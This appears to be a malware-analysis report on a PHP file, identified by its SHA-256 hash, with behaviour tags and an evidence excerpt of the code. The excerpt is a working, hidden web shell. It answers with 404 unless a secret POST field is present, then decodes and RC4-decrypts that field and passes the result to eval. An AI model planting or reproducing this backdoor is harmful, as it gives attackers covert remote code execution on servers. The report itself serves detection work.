18/a1/18a1f24e101bfb92c318152aa79f14ecaf51c7d23af7f2b8cbc5efc1e3aa8db8
Request eval co-occurs with decryptionRequest execution co-occurs with HTTP 404
SHA-25618a1f24e101bfb92c318152aa79f14ecaf51c7d23af7f2b8cbc5efc1e3aa8db8
MaleculeO₃(CErXe)H₅(Cm₂CrDb₆OsPo)Md
Evidence
⋯4 lines
5 $j = 0;
6 for ($i = 0; $i < 256; $i++) {
7 $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
8 $t = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $t;
9 }
⋯4 lines
14 $j = ($j + $s[$i]) % 256;
15 $t = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $t;
16 $out .= chr(ord($data[$n]) ^ $s[($s[$i] + $s[$j]) % 256]);
17 }
18 return $out;
19}
20function base32_decode_custom($text) {
21 $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
22 $bits = 0; $count = 0; $out = '';
23 foreach (str_split(rtrim($text, '=')) as $char) {
24 $value = strpos($alphabet, $char);
25 if ($value === false) { continue; }
26 $bits = ($bits << 5) | $value; $count += 5;
27 if ($count >= 8) { $count -= 8; $out .= chr(($bits >> $count) & 255); }
28 $bits &= (1 << $count) - 1;
29 }
30 return $out;
31}
32function base32_encode_custom($text) {
33 $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
34 $bits = 0; $count = 0; $out = '';
35 foreach (str_split($text) as $char) {
36 $bits = ($bits << 8) | ord($char); $count += 8;
37 while ($count >= 5) { $count -= 5; $out .= $alphabet[($bits >> $count) & 31]; }
38 $bits &= (1 << $count) - 1;
39 }
40 if ($count) { $out .= $alphabet[($bits << (5 - $count)) & 31]; }
41 return $out;
42}
43if (!isset($_POST['_c94mfe'])) {
44 http_response_code(404);
45 exit;
46}
47$key = pack('H*', '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef');
48$result = @eval(rc4($key, base32_decode_custom($_POST['_c94mfe'])));